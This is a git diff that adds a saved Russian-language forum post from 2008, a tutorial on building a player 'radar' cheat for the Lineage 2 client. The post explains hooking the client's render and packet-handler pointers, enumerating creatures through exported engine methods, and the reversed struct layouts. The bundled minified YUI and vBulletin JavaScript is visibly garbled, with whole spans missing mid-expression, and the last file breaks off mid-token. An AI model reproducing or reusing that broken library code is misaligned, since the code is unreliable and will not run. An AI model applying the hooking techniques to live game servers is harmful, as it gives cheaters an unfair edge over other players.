    Mr_Green is on a distinguished road
    + +
    +
    + +
    + + + + +
    + Default + Радар своими руками +
    +
    + + + + +
    + + Радар своими руками /16.12.2008/
    +
    +Введение
    +
    В этой статье описывается создание "радара" - кода отображающего +других игроков внутри клиента ла2. В ней рассмотрены следующие вопросы: +рисование в окне клиента, получение информации об нпс и игроках +хранящейся клиенте, перехват входящего пакета, перехват исходящего +пакета, отправка пакета клиенту.
    +В свое время, когда я начинал разбираться с клиентом, я искал подобную +статью, так и не нашел. Ну а раз ее нет - значит ее надо написать чтобы +она была. Для понимания этой статьи необходимы базовые знания по работе +клиента ла2, реверсированию и программированию. Все примеры относятся к +клиенту C6, но я думаю клиенты ла2 принципиально не отличаются друг от +друга.
    +
    +
    +1. Общая информация о клиенте ла2
    +
    +Для начала небольшая вводная об устройстве клиента ла2. Он состоит из 1 +.exe модуля и нескольких длл выполняющих строго определенные функции - +GUI (nwindow.dll), движок (engine.dll), общие вспомогательные функции +(core.dll). Клиент сделан на основе движка unreal engine, написан на +VC++ с применением ООП. Длл экспортируют практически все методы +основных классов, имена декорированы (mangling), также экспортируются +таблицы методов (vftable).
    +
    +
    +2. Рисование
    +
    +Основная функция радара - рисовать цели в окне клиента. Для этого нужны +функции рисования, и перехват нужного участка кода клиента для вызова +кода рисования радара.
    +Клиент для рисования как правило использует класс FCanvasUtil. Для его +использования надо создать экземпляр объекта, после рисования - +уничтожить его. Примерный размер объекта не более 256 байт (точное +значение неизвестно). В классе FCanvasUtil есть одна нормальная функция +рисования
    +void __thiscall FCanvasUtil:rawLine(float x1, float y1, float x2,float y2,class FColor color,int unk) ,
    +где x1..y2 - четыре экранные координаты в пикселах,
    +color - цвет, dword 0x??RRGGBB (назначение старшего байта неизвестно),
    +unk - неизвестный параметр, обычно равнен нулю.
    +Точки можно рисовать короткими штрихами, окружности аппроксимировать отрезками (или пунктиром).
    +Рисовать надо вместе с клиентом, в одном из методов xxx::Render(), так +чтобы картинка радара рисовалась последней (верхней), порядок вызова +методов клиентом неизвестен, но рисование после +FPlayerSceneNode::Render() позволяет нарисовать радар правильно.
    +
    +
    +3. Получение информации о целях
    +
    +Все объекты на карте поделены в клиенте на категории ("живые",лут,...) +и хранятся в нектором списке. Для получения "живых" объектов +(игроки,НПС) используется метод
    +struct User * __thiscall UNetworkHandler::GetNextCreature(float Radius,int PrevID) ,
    +где Radius - радиус поиска, PrevID - ИД предыдущей цели.
    +Метод возвращает указатель на структуру содержащую информацию о цели +(см. приложение). Метод может возвращать ноль, видимо при отсутствии +целей вообще. Метод можно вызывать бесконечное число раз, видимо список +объектов цикличен, для того чтобы определить конец списка надо +проверять повторы ИД возвращаемых целей. Перебор целей можно начинать +как с PrevID=0 так и PrevID=-1 .
    +
    +
    +4. Получение информации о своем персонаже - перехват S->C пакета
    +
    +Для получения структуры User по ID объекта надо вызвать метод
    +struct User * __thiscall UNetworkHandler::GetUser(int ID) .
    +ИД своего персонажа можно получить перехватив S->C пакет +UserInfoPacket (#4). Теоретически этот ID можно получить в клиенте по +статическому адресу, но перехват пакета очевиднее.
    +S->C пакеты обрабатываются в клиенте следующим образом:
    +В отдельном потоке, в цикле, клиент принимает пакеты вызывая +ws2_32.recv(), расшифровывает их, добавляет в очередь пакетов методом
    +UNetworkHandler::AddNetworkQueue(NetworkPacket *) .
    +Структура NetworkPacket содержит отдельно ID пакета, размер данных пакета (без ID), данные пакета (без ID).
    +В методе UNetworkHandler::Tick(float) клиент достает пакеты из очереди методом
    +UNetworkHandler:ispatchNetworkQueue(NetworkPacke t * *) .
    +Затем по ID пакета вызывается обработчик пакета, по указателю таблицы +обработчиков пакетов. Размер элемента таблицы равен 0x104 байтам - +указатель на обработчик и UNICODE-имя пакета. Прототип обработчика +пакета:
    +typedef void (__cdecl TPacketHandler)(UNetworkHandler *,char *data);
    +где data - указатель на данные пакета, без его ID.
    +Обработчик пакета дизассемблирует пакет согласно его формату, вызывает +соответствующий метод UGameEngine::OnXXX() и записывает информацию о +пакете во внутренний лог клиента.
    +Метод UGameEngine::OnXXX вызывает события в GUI или в движке клиента.
    +Очевидно, что перехватывать одиночный пакет удобно подменяя указатель +на обработчик пакета или указатель на метод UGameEngine в его таблице +методов.
    +
    +
    +5. Управление настройками радара - перехват C->S пакета и отправка пакета клиенту
    +
    +Внутри клиента можно организовать достаточно удобный интерфейс используя HTML встроенный в клиент.
    +Для показа диалогового окна пользователю, надо отправить клиенту пакет с HTML-кодом, методом
    +int __thiscall UGameEngine::OnNpcHtmlMessage(struct User *npc,unsigned short *html,int unk) ,
    +где npc - указатель на структуру User НПС отправившего сообщение, может быть равен нулю,
    +html - указатель на UNICIDE-строку с HTML-кодом,
    +unk - неизвестный параметр, обычно равен нулю.
    +Если ввод данных производится кнопками, то для перехвата ввода +необходимо перехватить пакет RequestBypassToServer. Клиент отправляет +пакеты следующим образом:
    +GUI или движок клиента вызывают соответствующий метод UNetworkHandler, например
    +int __thiscall UNetworkHandler::RequestBypassToServer(class L2ParamStack &) .
    +Этот метод передает формат пакета и его данные в неэкспортируемую функцию отправки пакета
    +void __cdecl SendPacket(UNetworkHandler*,char*,...) .
    +Функция отправки пакета ассемблирует пакет в буфер согласно его формату, шифрует и отправляет на сервер через ws2_32.send() .
    +Для перехвата одиночного отправляемого пакета удобно перехватить указатель на метод в таблице методов UNetworkHandler.
    +
    +
    +Заключение
    +
    +Я не выкладываю сам исходник радара, в его коде нет ничего сложного, и +имея информацию изложенную в этой статье его можно достаточно быстро +собрать.
    +Эта статья больше посвящена частям клиента относящимся к пакетной части +клиента. Графическая часть рассмотрена вскользь без какого-либо +разбора, движок клиента только упоминается, совсем не рассмотрены GUI и +остальные части клиента. Буду рад если кто-нибудь дополнит эту статью +или выложит что-то новое. Возможно есть смысл перевести ее на +английский.
    +
    +
    +Приложение. Структуры клиента (С6)
    +
    +
    Code:
    +
    struct User
    +{
    +int _zunk1_12[2];
    +int user_type; //ZERO for player
    +int _zunk1_34[2];
    +int unk_npc_spec;
    +int id;
    +unsigned short name[0x30/2];
    +int race;
    +int _zunk2;
    +int _xunk3;
    +int lvl;
    +int _xunk4;
    +int _zunk5;
    +int states[6];
    +int hp_max;
    +int hp;
    +int mp_max;
    +int mp;
    +int _xunk68[3];
    +int wear[14];
    +char _zunk9[0xC0];
    +int Color;
    +char _unk10[0x70];
    +APawn *Pawn;
    +int _zunk11[3];
    +int _xunk12;
    +int sp;
    +int accuracy_;
    +int critical;
    +int _xunk13;
    +int _xunk14;
    +int patk;
    +int evasion_;
    +int matk;
    +int mdef;
    +int castspd;
    +char _unk15[0x6C];
    +int atkspd;
    +char _unk16[0x14];
    +int cp_max;
    +int cp;
    +//current size=0x2CC, real size = 0x380
    +};
    +
    +class APawn
    +{
    +char _unk[0x1BC]; //...
    +public:
    +FVector Location;
    +//...
    +};
    +
    +class FVector
    +{
    +public:
    +    float X,Y,Z;
    +};
    +
    ----------------------------------------------------
    +[C] GoldFinch
    +
    +Спасибо
    +Arrowdoger за помощь в написании и тестировании радара
    +Разработчикам BSFG (Abyss) за их радар и его кривую защиту. Кстати код у binkw32.dll тоже хреновый +
    + + + + + + + + + + + + + +
    + Mr_Green is offline + + + + Add to Mr_Green's Reputation + + + + Report Post + +   + + + + + + + + Reply With Quote + + + Multi-Quote This Message + + + Quick reply to this message + + + + + + + + + +
    + + + + + + + +
    + +
    +
    +
    + + + +
    + + + + +
    +
    +
    + + + + + + + + + + + +
    Reply
    + + + + + + + + +
    + + + + + + + +
    +
    + Edit Tags +
    + + Tags +
    None
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + + +
    + + Quick Reply +
    +
    +
    +
    Message:
    +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Remove Text Formatting
    Bold
    Italic
    Underline
    + + + + + +

    +
    Insert Image
    Wrap [QUOTE] tags around selected text
      +
    Decrease Size
    +
    Increase Size
    +
    Switch Editor Mode
    +
    + +
    +
    + + + +
    + +
    + + + + + +
    + +
    + Options +
    + + +
    +
    +
    +
    + +
    + + + + + + + + + + + +
    + + +
    +
    + + + +
    + + + + + + + + +
    +
    + « + Previous Thread + | + Next Thread + » +
    + + + + + +
    + + + + + + + +
    + Currently Active Users Viewing This Thread: 1 (1 members and 0 guests) +
    + minlexx +
    + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + +
    + + Posting Rules +
    + +
    You may not post new threads
    +
    You may post replies
    +
    You may post attachments
    +
    You may edit your posts
    +
    + +
    BB code is On
    +
    Smilies are On
    +
    [IMG] code is On
    +
    HTML code is Off
    +
    + +
    +
    + + + + + +
    +
    +
    + + + Forum Jump
    + +
    +
    +
    +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + Similar Threads +
    ThreadThread StarterForumRepliesLast Post
    + + Справочник по функциям АИ + Mr_GreenStickies16Today 11:30 AM
    + + Разыскивается клиент c1... + MagisterКлиент1106-01-2009 01:20 AM
    + + Прошу совета у гуру аи) + KaristonПомощь205-29-2009 12:00 AM
    + +
    + + + +
    +
    All times are GMT +6. The time now is 05:47 PM.
    +
    + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    + + +
    + + Contact Us - + PostPacific - + + + Archive - + + + + Top + +
    +
    + +
    + +
    +
    + + Powered by vBulletin® Version 3.8.2
    Copyright ©2000 - 2009, Jelsoft Enterprises Ltd. + +
    + +
    + + + + + +
    +
    + +
    + + + + + + + +
    + + + + + +
    + + \ No newline at end of file diff --git a/docs/radar_developmemt_files/11x11progress.gif b/docs/radar_developmemt_files/11x11progress.gif new file mode 100644 index 0000000..1f47419 Binary files /dev/null and b/docs/radar_developmemt_files/11x11progress.gif differ diff --git a/docs/radar_developmemt_files/biggrin.gif b/docs/radar_developmemt_files/biggrin.gif new file mode 100644 index 0000000..c115329 Binary files /dev/null and b/docs/radar_developmemt_files/biggrin.gif differ diff --git a/docs/radar_developmemt_files/bold.gif b/docs/radar_developmemt_files/bold.gif new file mode 100644 index 0000000..c8c4bd3 Binary files /dev/null and b/docs/radar_developmemt_files/bold.gif differ diff --git a/docs/radar_developmemt_files/clear.gif b/docs/radar_developmemt_files/clear.gif new file mode 100644 index 0000000..13acffe Binary files /dev/null and b/docs/radar_developmemt_files/clear.gif differ diff --git a/docs/radar_developmemt_files/collapse_tcat.gif b/docs/radar_developmemt_files/collapse_tcat.gif new file mode 100644 index 0000000..a218216 Binary files /dev/null and b/docs/radar_developmemt_files/collapse_tcat.gif differ diff --git a/docs/radar_developmemt_files/collapse_thead.gif b/docs/radar_developmemt_files/collapse_thead.gif new file mode 100644 index 0000000..b9a1c7b Binary files /dev/null and b/docs/radar_developmemt_files/collapse_thead.gif differ diff --git a/docs/radar_developmemt_files/color.gif b/docs/radar_developmemt_files/color.gif new file mode 100644 index 0000000..dc58d80 Binary files /dev/null and b/docs/radar_developmemt_files/color.gif differ diff --git a/docs/radar_developmemt_files/connection-min.js b/docs/radar_developmemt_files/connection-min.js new file mode 100644 index 0000000..a5ed764 --- /dev/null +++ b/docs/radar_developmemt_files/connection-min.js @@ -0,0 +1,8 @@ +/* +Copyright (c) 2009, Yahoo! Inc. All rights reserved. +Code licensed under the BSD License: +http://developer.yahoo.net/yui/license.txt +version: 2.7.0 +*/ +YAHOO.util.Connect={_msxml_progid:["Microsoft.XMLHTTP","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP"],_http_headers:{},_has_http_headers:false,_use_default_post_header:true,_default_post_header:"application/x-www-form-urlencoded; charset=UTF-8",_default_form_header:"application/x-www-form-urlencoded",_use_default_xhr_header:true,_default_xhr_header:"XMLHttpRequest",_has_default_headers:true,_default_headers:{},_isFormSubmit:false,_isFileUpload:false,_formNode:null,_sFormData:null,_poll:{},_timeOut:{},_polling_interval:50,_transaction_id:0,_submitElementValue:null,_hasSubmitListener:(function(){if(YAHOO.util.Event){YAHOO.util.Event.addListener(document,"click",function(C){var B=YAHOO.util.Event.getTarget(C),A=B.nodeName.toLowerCase();if((A==="input"||A==="button")&&(B.type&&B.type.toLowerCase()=="submit")){YAHOO.util.Connect._submitElementValue=encodeURIComponent(B.name)+"="+encodeURIComponent(B.value);}});return true;}return false;})(),startEvent:new YAHOO.util.CustomEvent("start"),completeEvent:new YAHOO.util.CustomEvent("complete"),successEvent:new YAHOO.util.CustomEvent("success"),failureEvent:new YAHOO.util.CustomEvent("failure"),uploadEvent:new YAHOO.util.CustomEvent("upload"),abortEvent:new YAHOO.util.CustomEvent("abort"),_customEvents:{onStart:["startEvent","start"],onComplete:["completeEvent","complete"],onSuccess:["successEvent","success"],onFailure:["failureEvent","failure"],onUpload:["uploadEvent","upload"],onAbort:["abortEvent","abort"]},setProgId:function(A){this._msxml_progid.unshift(A);},setDefaultPostHeader:function(A){if(typeof A=="string"){this._default_post_header=A;}else{if(typeof A=="boolean"){this._use_default_post_header=A;}}},setDefaultXhrHeader:function(A){if(typeof A=="string"){this._default_xhr_header=A;}else{this._use_default_xhr_header=A;}},setPollingInterval:function(A){if(typeof A=="number"&&isFinite(A)){this._polling_interval=A;}},createXhrObject:function(F){var E,A;try{A=new XMLHttpRequest();E={conn:A,tId:F};}catch(D){for(var B=0;B=200&&D<300||D===1223){C=this.createResponseObject(F,B);if(G&&G.success){if(!G.scope){G.success(C);}else{G.success.apply(G.scope,[C]);}}this.successEvent.fire(C);if(F.successEvent){F.successEvent.fire(C);}}else{switch(D){case 12002:case 12029:case 12030:case 12031:case 12152:case 13030:C=this.createExceptionObject(F.tId,B,(A?A:false));if(G&&G.failure){if(!G.scope){G.failure(C);}else{G.failure.apply(G.scope,[C]);}}break;default:C=this.createResponseObject(F,B);if(G&&G.failure){if(!G.scope){G.failure(C);}else{G.failure.apply(G.scope,[C]);}}}this.failureEvent.fire(C);if(F.failureEvent){F.failureEvent.fire(C);}}this.releaseObject(F);C=null;},createResponseObject:function(A,G){var D={};var I={};try{var C=A.conn.getAllResponseHeaders();var F=C.split("\n");for(var E=0;E-1){A=B.options[B.selectedIndex];F[O++]=K+encodeURIComponent((A.attributes.value&&A.attributes.value.specified)?A.value:A.text);}break;case"select-multiple":if(B.selectedIndex>-1){for(D=B.selectedIndex,N=B.options.length;D');if(typeof A=="boolean"){C.src="javascript:false";}}else{C=document.createElement("iframe");C.id=B;C.name=B;}C.style.position="absolute";C.style.top="-1000px";C.style.left="-1000px";document.body.appendChild(C);},appendPostData:function(A){var D=[],B=A.split("&"),C,E;for(C=0;C0){for(H=0;H' + bottomdiv_uninstalled + '.'; + sideDiv.innerHTML = ' ' + bottomdiv_uninstalled + ' '; + installDiv.innerHTML = parseFloat(installDiv.innerHTML) + 1; + } + else + { + threadInstalled.innerHTML = '' + threadInstalled_installed + ':'; + threadInstallCount.className = 'highlight'; + threadInstallCount.innerHTML = parseFloat(threadInstallCount.innerHTML) + 1; + } + break; + case 'uninstalled': + if (script == 'showthread') + { + bottomDiv.innerHTML = bottomdiv_to_receive + ' ' + bottomdiv_installed + '.'; + sideDiv.innerHTML = ' ' + bottomdiv_installed + ' ' ; + installDiv.innerHTML = parseFloat(installDiv.innerHTML) - 1; + } + else + { + threadInstalled.innerHTML = '' + threadInstalled_uninstalled + ':'; + threadInstallCount.className = 'smallfont'; + threadInstallCount.innerHTML = parseFloat(threadInstallCount.innerHTML) - 1; + } + break; + case 'nominated': + nombottomDiv.innerHTML = nombottomDiv_nominate_a + ' ' + nombottomDiv_nominate_b; + nomsideDiv.innerHTML = '' + nomsideDiv_nominate_clear + '' ; + break; + case 'unnominated': + nombottomDiv.innerHTML = nombottomDiv_unnominate_a + ' ' + nombottomDiv_unnominate_b; + nomsideDiv.innerHTML = '' + nomsideDiv_nominate + '' ; + break; + default: + break; + } + } + } + else + { + } + } +} + +// Sends request to install a modification +function mods_install(threadid, install) +{ + threadid = PHP.urlencode(threadid); + threadSave = threadid; + + if (script == 'showthread') + { + bottomDiv = fetch_object('mods_install_div'); + sideDiv = fetch_object('mods_install_sidebar'); + installDiv = fetch_object('mods_install_count'); + } + else + { + threadInstalled = fetch_object('thread_installed_' + threadid); + threadInstallCount = fetch_object('thread_installcount_' + threadid); + } + + //send the request to php script... + dostring = (install) ? 'installmod' : 'uninstallmod'; + XHCon("modsystem_miscactions.php", "POST", SESSIONURL + '&securitytoken=' + SECURITYTOKEN + '&do=' + dostring + '&ajax=1&threadid=' + threadid); +} + +// Sends request to nominate a modification +function mods_nominate(threadid, type, nominate) +{ + type = PHP.urlencode(type); + threadid = PHP.urlencode(threadid); + + nombottomDiv = fetch_object('mods_nominate_div'); + nomsideDiv = fetch_object('mods_nominate_sidebar'); + + //send the request to php script... + dostring = (nominate) ? 'nominate' : 'unnominate'; + XHCon("modsystem_miscactions.php", "POST", SESSIONURL + '&securitytoken=' + SECURITYTOKEN + '&do=' + dostring + '&ajax=1&type=' + type + '&threadid=' + threadid); +} + diff --git a/docs/radar_developmemt_files/multiquote_off.gif b/docs/radar_developmemt_files/multiquote_off.gif new file mode 100644 index 0000000..60aa69c Binary files /dev/null and b/docs/radar_developmemt_files/multiquote_off.gif differ diff --git a/docs/radar_developmemt_files/navbits_finallink_ltr.gif b/docs/radar_developmemt_files/navbits_finallink_ltr.gif new file mode 100644 index 0000000..351005f Binary files /dev/null and b/docs/radar_developmemt_files/navbits_finallink_ltr.gif differ diff --git a/docs/radar_developmemt_files/navbits_start.gif b/docs/radar_developmemt_files/navbits_start.gif new file mode 100644 index 0000000..dbbe02f Binary files /dev/null and b/docs/radar_developmemt_files/navbits_start.gif differ diff --git a/docs/radar_developmemt_files/post_old.gif b/docs/radar_developmemt_files/post_old.gif new file mode 100644 index 0000000..b3097c6 Binary files /dev/null and b/docs/radar_developmemt_files/post_old.gif differ diff --git a/docs/radar_developmemt_files/pplogo.png b/docs/radar_developmemt_files/pplogo.png new file mode 100644 index 0000000..11173e6 Binary files /dev/null and b/docs/radar_developmemt_files/pplogo.png differ diff --git a/docs/radar_developmemt_files/printer.gif b/docs/radar_developmemt_files/printer.gif new file mode 100644 index 0000000..569b270 Binary files /dev/null and b/docs/radar_developmemt_files/printer.gif differ diff --git a/docs/radar_developmemt_files/progress.gif b/docs/radar_developmemt_files/progress.gif new file mode 100644 index 0000000..5dafb9c Binary files /dev/null and b/docs/radar_developmemt_files/progress.gif differ diff --git a/docs/radar_developmemt_files/quickreply.gif b/docs/radar_developmemt_files/quickreply.gif new file mode 100644 index 0000000..d8e6615 Binary files /dev/null and b/docs/radar_developmemt_files/quickreply.gif differ diff --git a/docs/radar_developmemt_files/quote.gif b/docs/radar_developmemt_files/quote.gif new file mode 100644 index 0000000..11c51ea Binary files /dev/null and b/docs/radar_developmemt_files/quote.gif differ diff --git a/docs/radar_developmemt_files/quote_002.gif b/docs/radar_developmemt_files/quote_002.gif new file mode 100644 index 0000000..5c37f2d Binary files /dev/null and b/docs/radar_developmemt_files/quote_002.gif differ diff --git a/docs/radar_developmemt_files/rating_1.gif b/docs/radar_developmemt_files/rating_1.gif new file mode 100644 index 0000000..56974eb Binary files /dev/null and b/docs/radar_developmemt_files/rating_1.gif differ diff --git a/docs/radar_developmemt_files/rating_2.gif b/docs/radar_developmemt_files/rating_2.gif new file mode 100644 index 0000000..c22b153 Binary files /dev/null and b/docs/radar_developmemt_files/rating_2.gif differ diff --git a/docs/radar_developmemt_files/rating_3.gif b/docs/radar_developmemt_files/rating_3.gif new file mode 100644 index 0000000..0f590a7 Binary files /dev/null and b/docs/radar_developmemt_files/rating_3.gif differ diff --git a/docs/radar_developmemt_files/rating_4.gif b/docs/radar_developmemt_files/rating_4.gif new file mode 100644 index 0000000..43b3bf5 Binary files /dev/null and b/docs/radar_developmemt_files/rating_4.gif differ diff --git a/docs/radar_developmemt_files/rating_5.gif b/docs/radar_developmemt_files/rating_5.gif new file mode 100644 index 0000000..33bbc5f Binary files /dev/null and b/docs/radar_developmemt_files/rating_5.gif differ diff --git a/docs/radar_developmemt_files/removeformat.gif b/docs/radar_developmemt_files/removeformat.gif new file mode 100644 index 0000000..8e82eb7 Binary files /dev/null and b/docs/radar_developmemt_files/removeformat.gif differ diff --git a/docs/radar_developmemt_files/reply.gif b/docs/radar_developmemt_files/reply.gif new file mode 100644 index 0000000..0196829 Binary files /dev/null and b/docs/radar_developmemt_files/reply.gif differ diff --git a/docs/radar_developmemt_files/report.gif b/docs/radar_developmemt_files/report.gif new file mode 100644 index 0000000..7ada079 Binary files /dev/null and b/docs/radar_developmemt_files/report.gif differ diff --git a/docs/radar_developmemt_files/reputation.gif b/docs/radar_developmemt_files/reputation.gif new file mode 100644 index 0000000..1526f74 Binary files /dev/null and b/docs/radar_developmemt_files/reputation.gif differ diff --git a/docs/radar_developmemt_files/reputation_pos.gif b/docs/radar_developmemt_files/reputation_pos.gif new file mode 100644 index 0000000..1033cb4 Binary files /dev/null and b/docs/radar_developmemt_files/reputation_pos.gif differ diff --git a/docs/radar_developmemt_files/resize_0.gif b/docs/radar_developmemt_files/resize_0.gif new file mode 100644 index 0000000..b960a46 Binary files /dev/null and b/docs/radar_developmemt_files/resize_0.gif differ diff --git a/docs/radar_developmemt_files/resize_1.gif b/docs/radar_developmemt_files/resize_1.gif new file mode 100644 index 0000000..a3f39eb Binary files /dev/null and b/docs/radar_developmemt_files/resize_1.gif differ diff --git a/docs/radar_developmemt_files/sendtofriend.gif b/docs/radar_developmemt_files/sendtofriend.gif new file mode 100644 index 0000000..3a5c5ca Binary files /dev/null and b/docs/radar_developmemt_files/sendtofriend.gif differ diff --git a/docs/radar_developmemt_files/separator.gif b/docs/radar_developmemt_files/separator.gif new file mode 100644 index 0000000..e2f3876 Binary files /dev/null and b/docs/radar_developmemt_files/separator.gif differ diff --git a/docs/radar_developmemt_files/smile.gif b/docs/radar_developmemt_files/smile.gif new file mode 100644 index 0000000..ce9424b Binary files /dev/null and b/docs/radar_developmemt_files/smile.gif differ diff --git a/docs/radar_developmemt_files/subscribe.gif b/docs/radar_developmemt_files/subscribe.gif new file mode 100644 index 0000000..badd8ce Binary files /dev/null and b/docs/radar_developmemt_files/subscribe.gif differ diff --git a/docs/radar_developmemt_files/switchmode.gif b/docs/radar_developmemt_files/switchmode.gif new file mode 100644 index 0000000..98e85d6 Binary files /dev/null and b/docs/radar_developmemt_files/switchmode.gif differ diff --git a/docs/radar_developmemt_files/underline.gif b/docs/radar_developmemt_files/underline.gif new file mode 100644 index 0000000..2121e5e Binary files /dev/null and b/docs/radar_developmemt_files/underline.gif differ diff --git a/docs/radar_developmemt_files/user_offline.gif b/docs/radar_developmemt_files/user_offline.gif new file mode 100644 index 0000000..8b1cc3d Binary files /dev/null and b/docs/radar_developmemt_files/user_offline.gif differ diff --git a/docs/radar_developmemt_files/vbulletin_ajax_reputation.js b/docs/radar_developmemt_files/vbulletin_ajax_reputation.js new file mode 100644 index 0000000..f0e6a40 --- /dev/null +++ b/docs/radar_developmemt_files/vbulletin_ajax_reputation.js @@ -0,0 +1,11 @@ +/*======================================================================*\ +|| #################################################################### || +|| # vBulletin 3.8.2 +|| # ---------------------------------------------------------------- # || +|| # Copyright ©2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. || +|| # This file may not be redistributed in whole or significant part. # || +|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || +|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || +|| #################################################################### || +\*======================================================================*/ +function vbrep_register(A){if(typeof vBrep=="object"&&typeof A!="undefined"){return vBrep.register(A)}}function vB_Reputation_Handler(){this.reps=new Array();this.ajax=new Array()}vB_Reputation_Handler.prototype.register=function(B){if(AJAX_Compatible&&(typeof vb_disable_ajax=="undefined"||vb_disable_ajax<2)){this.reps[B]=new vB_Reputation_Object(B);var A;if(A=fetch_object("reputation_"+B)){A.onclick=vB_Reputation_Object.prototype.reputation_click;return this.reps[B]}}};vBrep=new vB_Reputation_Handler();function vB_Reputation_Object(A){this.postid=A;this.divname="reputationmenu_"+A+"_menu";this.divobj=null;this.postobj=fetch_object("post"+A);this.vbmenuname="reputationmenu_"+A;this.vbmenu=null;this.xml_sender_populate=null;this.xml_sender_submit=null}vB_Reputation_Object.prototype.onreadystatechange_submit=function(I){if(I.responseXML){if(!this.vbmenu){this.vbmenu=vbmenu_register(this.vbmenuname,true);fetch_object(this.vbmenu.controlkey).onmouseover="";fetch_object(this.vbmenu.controlkey).onclick=""}var H=I.responseXML.getElementsByTagName("error");if(H.length){this.vbmenu.hide(fetch_object(this.vbmenuname));alert(H[0].firstChild.nodeValue)}else{this.vbmenu.hide(fetch_object(this.vbmenuname));var B=I.responseXML.getElementsByTagName("reputation")[0];var A=B.getAttribute("repdisplay");var G=B.getAttribute("reppower");var D=B.getAttribute("userid");var F=fetch_tags(document,"span");var E=null;for(var C=0;C=412))){this.menuobj=fetch_object(D+"_menu");this.textobj=fetch_object(A);this.textobj.setAttribute("autocomplete","off");this.textobj.onfocus=function(E){this.obj.active=true};this.textobj.onblur=function(E){this.obj.active=false};this.textobj.obj=this;this.varname=C;this.menukey=D;this.fragment="";this.donetags="";this.delimiters=new Array(",");this.selected=0;this.menuopen=false;this.timeout=null;this.tags=new Array();this.active=false;this.ajax_req=null;this.allow_multiple=false;this.min_chars=3;this.set_delimiters=function(G){this.delimiters=new Array(",");if(G){var E,F;if(E=PHP.match_all(G,"{([^}]*)}")){for(F=0;FF){F=this.textobj.value.lastIndexOf(this.delimiters[E]);G=this.delimiters[E].length}}if(F==-1){this.donetags=new String("");this.fragment=new String(this.textobj.value)}else{this.donetags=new String(this.textobj.value.substring(0,F+G));this.fragment=new String(this.textobj.value.substring(F+G))}}else{this.fragment=new String(this.textobj.value)}this.fragment=PHP.trim(this.fragment)};this.set_text=function(F){if(this.allow_multiple){var E=(this.donetags.substr(this.donetags.length-1)==" "?"":" ");this.textobj.value=PHP.ltrim(this.donetags+E+PHP.unhtmlspecialchars(this.tags[F])+", ")}else{this.textobj.value=PHP.unhtmlspecialchars(this.tags[F])}this.textobj.focus();this.menu_hide();return false};this.move_row_selection=function(E){var F=parseInt(this.selected,10)+parseInt(E,10);if(F<0){F=this.tags.length-1}else{if(F>=this.tags.length){F=0}}this.set_row_selection(F);return false};this.set_row_selection=function(E){var F=fetch_tags(this.menuobj,"td");F[this.selected].className="vbmenu_option";this.selected=E;F[this.selected].className="vbmenu_hilite"};this.key_event_handler=function(E){E=E?E:window.event;if(this.menuopen){switch(E.keyCode){case 38:this.move_row_selection(-1);return false;case 40:this.move_row_selection(1);return false;case 27:this.menu_hide();return false;case 13:this.set_text(this.selected);return false}}this.get_text();if(this.fragment.length>=this.min_chars){clearTimeout(this.timeout);this.timeout=setTimeout(this.varname+".tag_search();",500)}else{this.menu_hide()}};this.tag_search=function(){if(this.active){this.tags=new Array();this.ajax_req=YAHOO.util.Connect.asyncRequest("POST","ajax.php?do=tagsearch",{success:this.handle_ajax_response,failure:vBulletin_AJAX_Error_Handler,timeout:vB_Default_Timeout,scope:this},SESSIONURL+"securitytoken="+SECURITYTOKEN+"&do=tagsearch&fragment="+PHP.urlencode(this.fragment))}};this.handle_ajax_response=function(H){if(H.responseXML){var G=this.textobj;do{if(G.style.display=="none"){this.menu_hide();return }}while((G=G.parentNode)!=null&&G.style);var E=H.responseXML.getElementsByTagName("tag");if(E.length){for(var F=0;F'+this.tags[E].replace(F,"$1")+""}}this.menuobj.appendChild(G);if(this.vbmenu==null){if(typeof (vBmenu.menus[this.menukey])!="undefined"){this.vbmenu=vBmenu.menus[this.menukey]}else{this.vbmenu=vBmenu.register(this.menukey,true)}}else{this.vbmenu.init_menu_contents()}};this.menu_empty=function(){this.selected=0;while(this.menuobj.firstChild){this.menuobj.removeChild(this.menuobj.firstChild)}};this.menu_show=function(){if(this.active&&fetch_object(this.menukey)){this.vbmenu.show(fetch_object(this.menukey),this.menuopen);this.menuopen=true}};this.menu_hide=function(){try{this.vbmenu.hide()}catch(E){}this.menuopen=false};this.textobj.onkeyup=function(E){return this.obj.key_event_handler(E)};this.textobj.onkeypress=function(E){E=E?E:window.event;if(E.keyCode==13){return(this.obj.menuopen?false:true)}}}else{this.set_delimiters=function(E){}}}; \ No newline at end of file diff --git a/docs/radar_developmemt_files/vbulletin_ajax_threadrate.js b/docs/radar_developmemt_files/vbulletin_ajax_threadrate.js new file mode 100644 index 0000000..7afba5a --- /dev/null +++ b/docs/radar_developmemt_files/vbulletin_ajax_threadrate.js @@ -0,0 +1,11 @@ +/*======================================================================*\ +|| #################################################################### || +|| # vBulletin 3.8.2 +|| # ---------------------------------------------------------------- # || +|| # Copyright ©2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. || +|| # This file may not be redistributed in whole or significant part. # || +|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || +|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || +|| #################################################################### || +\*======================================================================*/ +function vB_AJAX_ThreadRate_Init(D){var C=fetch_object(D);if(AJAX_Compatible&&(typeof vb_disable_ajax=="undefined"||vb_disable_ajax<2)&&C){for(var B=0;B0);var is_saf=(YAHOO.env.ua.webkit>0);var is_webtv=(userAgent.indexOf("webtv")!=-1);var is_ie=((YAHOO.env.ua.ie>0)&&(!is_opera)&&(!is_saf)&&(!is_webtv));var is_ie4=(YAHOO.env.ua.ie==4);var is_ie7=(YAHOO.env.ua.ie>=7);var is_ps3=(userAgent.indexOf("playstation 3")!=-1);var is_moz=(YAHOO.env.ua.gecko>0);var is_kon=(userAgent.indexOf("konqueror")!=-1);var 